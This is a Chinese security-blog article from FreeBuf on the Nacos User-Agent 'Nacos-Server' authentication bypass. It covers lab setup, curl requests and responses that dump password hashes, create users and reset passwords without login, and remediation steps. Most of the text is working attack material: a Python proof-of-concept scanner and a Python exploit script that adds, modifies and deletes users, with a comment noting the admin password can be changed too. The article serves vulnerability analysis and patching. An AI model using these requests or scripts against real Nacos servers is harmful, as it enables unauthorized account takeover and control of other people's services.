freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Nacos未授权访问
2022-03-24 18:39:12
所属地 香港

漏洞简介

Nacos是一套帮助发现、配置和管理微服务的程序。提供一组简单易用的特性集,能够快速的实现动态服务发现、服务配置、服务元数据以及流量管理。

2020年12月29日,Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞,攻击者可以进行任意操作,包括创建新用户并进行登录后操作。

https://github.com/alibaba/nacos/issues/1105

在Nacos 2.0版本存在未授权访问漏洞,程序未有效对于用户权限进行判断,导致能够添加任意用户、修改任意用户密码等等问题。

危害等级:高危

影响范围 : Nacos <= 2.0.0-ALPHA.1

漏洞检测

漏洞环境:

https://github.com/alibaba/nacos/releases/tag/2.0.0-ALPHA.1

环境启动:

# 压缩包解压后,进入启动目录;
root@vul:~/7_tar# cd nacos/bin/

root@vul:~/7_tar/nacos/bin# ls
derby.log  logs  shutdown.cmd  shutdown.sh  startup.cmd  startup.sh  work

# 启动单节点模式;
./startup.sh -m standalone # Linux
.\startup.cmd -m standalone # Windows

访问地址:

访问http://127.0.0.1:8848/nacos即可看到登录页面;
用户名:密码 naocs:nacos

未授权访问漏洞验证:

┌──(root@kali)-[~]
└─# curl -X GET 'http://10.0.0.128:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent:Nacos-Server'

{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}

# 有的文章中表示,需要在头中加"User-Agent:Nacos-Server"才行,但在我的环境里不加也可以执行

未授权添加用户:

┌──(root@kali)-[~]
└─# curl -X POST 'http://10.0.0.128:8848/nacos/v1/auth/users?username=test1&password=test1' -H 'User-Agent:Nacos-Server'

{"code":200,"message":"create user ok!","data":null}

┌──(root@kali)-[~]
└─# curl -XPOST 'http://10.0.0.128:8848/nacos/v1/auth/users?username=test1&password=test1' -H 'User-Agent:Nacos-Server'

caused: user 'test1' already exist!;

# 测试用户已添加完成,且不可用相同请求手段进行密码覆盖

验证结果:

┌──(root@kali)-[~]
└─#  curl -X GET 'http://10.0.0.128:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent:Nacos-Server'
{"totalCount":2,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"},{"username":"test1","password":"$2a$10$UslBazd8.Upm68hg3VV.jee9zMzqGcF10yJp3Sc6LecrIqW4U3npC"}]}

通过网页访问的方式也可以登录;

修改已有用户的密码:

┌──(root@kali)-[~]
└─# curl -X PUT 'http://10.0.0.128:8848/nacos/v1/auth/users?accessToken=' -H 'User-Agent:Nacos-Server' -d 'username=test1&newPassword=test2'
{"code":200,"message":"update user ok!","data":null}

接口设计:

以下接口涉及到登录和鉴权的所有逻辑,这些接口除了登录接口,其他接口都只能由全局管理员来调用。

用户管理
创建用户:POST /nacos/v1/auth/users?username=xx&password=yy
删除用户:DELETE /nacos/v1/auth/users?username=xx&password=yy
更新用户:PUT /nacos/v1/auth/users?username=xx&oldPassword=yy&newPassword=zz
登录:POST /nacos/v1/auth/users/login?username=xxx&password=yyy

角色管理
创建角色/绑定用户到角色:POST /nacos/v1/auth/roles?role=xx&username=yy
删除某个用户的角色:DELETE /nacos/v1/auth/roles?role=xx&username=yy
获取用户的所有角色:GET /nacos/v1/auth/roles?username=xxx

权限管理
给角色添加权限:POST /nacos/v1/auth/permissions?role=xxx&resource=yyy&action=zzz
从角色删除权限:DELETE /nacos/v1/auth/permissions?role=xxx&resource=yyy&action=zzz
获取某个角色的权限:GET /nacos/v1/auth/permissions?role=xxx

poc:

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# Author:No.2768

import requests
import re
import json
import sys

Headers = {
        "User-Agent": "Nacos-Server",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9"
        }

def Poc1_Unauth(Url2):
        Url3 = Url2 + "/v1/auth/users"
#        print(Url3)
        Params = "pageNo=1&pageSize=9"
        
        try:
                req1 = requests.get(Url3, params = Params, headers = Headers)

#                print(req1.text)
                if '"username":' in req1.text:
                        print("\033[0;31;40m[+]\033[0m Found Unauthorized Access:", Url3)
                else:
                        print("\033[0;32;40m[+]\033[0m Not Found Unauthorized Access:", Url3)
        except Exception as e:
                print(e)


def Check_Nacos(Url1):
        Url2 = Url1 + "/nacos"
        try:
                req1 = requests.get(Url2, headers = Headers)
                if req1.status_code == 200:
                        Poc1_Unauth(Url2)
                else:
                        print("no service: nacos") 
                        return 2
        except Exception as e:
                print(e)
        
if __name__ == "__main__":
    Ip_Addr = sys.argv[1]
    Port = sys.argv[2]
    Url1 = "http://" + Ip_Addr + ":" + Port
#    print(Url1)
    Check_Nacos(Url1)

exp:

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# Author:2768

import requests
import re
import json
import sys

Headers = {
    "User-Agent": "Nacos-Server",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "zh-CN,zh;q=0.9"
    }

def Exp1_AddUser(Url0):
    Url1 = Url0 + "/nacos/v1/auth/users"
    #print(Url1)
    UserName = "test1"
    Data1 = {
        "username":UserName, 
        "password":UserName
        }
    try:
        req1 = requests.post(Url1, data = Data1, headers = Headers)
        #print(req1.status_code)
        #print(req1.text)
        if (req1.status_code == 400) and ("exist!" in req1.text):
            print("user '%s' already exist!" %UserName)
        elif (req1.status_code == 200) and ("ok!" in req1.text):
            print("create user '%s' ok!" %UserName)
        else:
            print("failed to add user")
    except Exception as e:
            print(e)

def Exp2_ChangePasswd(Url0):
    Url2 = Url0 + "/nacos/v1/auth/users"
    UserName = "test1" # 同样可以修改管理员用户:nacos的密码;
    #print(Url2)
    Data2 = {
        "accessToken":"",
        "username":UserName,
        "newPassword":"123456"
        }
    #print(Data2)
    try:
        req2 = requests.put(Url2, data = Data2, headers = Headers)
        #print(req2.status_code)
        #print(req2.text)
        if (req2.status_code == 200) and ("ok!" in req2.text):
            print("update user '%s' ok!" %UserName)
        else:
            print("failed to change password")
    except Exception as e:
                print(e)

def Exp4_DeleteUser(Url0):
    Url4 = Url0 + "/nacos/v1/auth/users"
    #print(Url4)
    UserName = "test1"
    Params4 = {
        "username":UserName
        }
    try:
        req4 = requests.delete(Url4, params = Params4)
        #print(req4.status_code)
        #print(req4.text)
        if (req4.status_code == 200) and (" ok!" in req4.text):
            print("delete user '%s' ok!" %UserName)
        else:
            print("delete user error")
    except Exception as e:
        print(e)

if __name__ == "__main__":
    Ip_Addr = sys.argv[1]
    Port = sys.argv[2]
    Url0 = "http://" + Ip_Addr + ":" + Port
#    print(Url0)
    Exp1_AddUser(Url0)
    Exp2_ChangePasswd(Url0)
#    Exp3_PrivilegePromotion(Url0) # nacos的管理员角色(ROLE_ADMIN)不能添加用户,构建失败,只能根据具体情况进行构建
    Exp4_DeleteUser(Url0)

更多exp可以根据自己需要编写;

漏洞修复

使用白名单的方式限制可以访问的主体;

目前官方已发布新版本,升级nacos版本:https://github.com/alibaba/nacos/;

漏洞环境

https://github.com/alibaba/nacos/releases/tag/2.0.0-ALPHA.1

参考:

  • https://github.com/alibaba/nacos

  • https://www.istt.org.cn/NewsDetail/2412948.html

  • https://www.6b8.me/index.php?m=home&c=article&a=index&id=469

  • https://www.pianshen.com/article/22841075750/

# web安全 # 漏洞分析
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
  • 0 文章数
  • 0 关注者
文章目录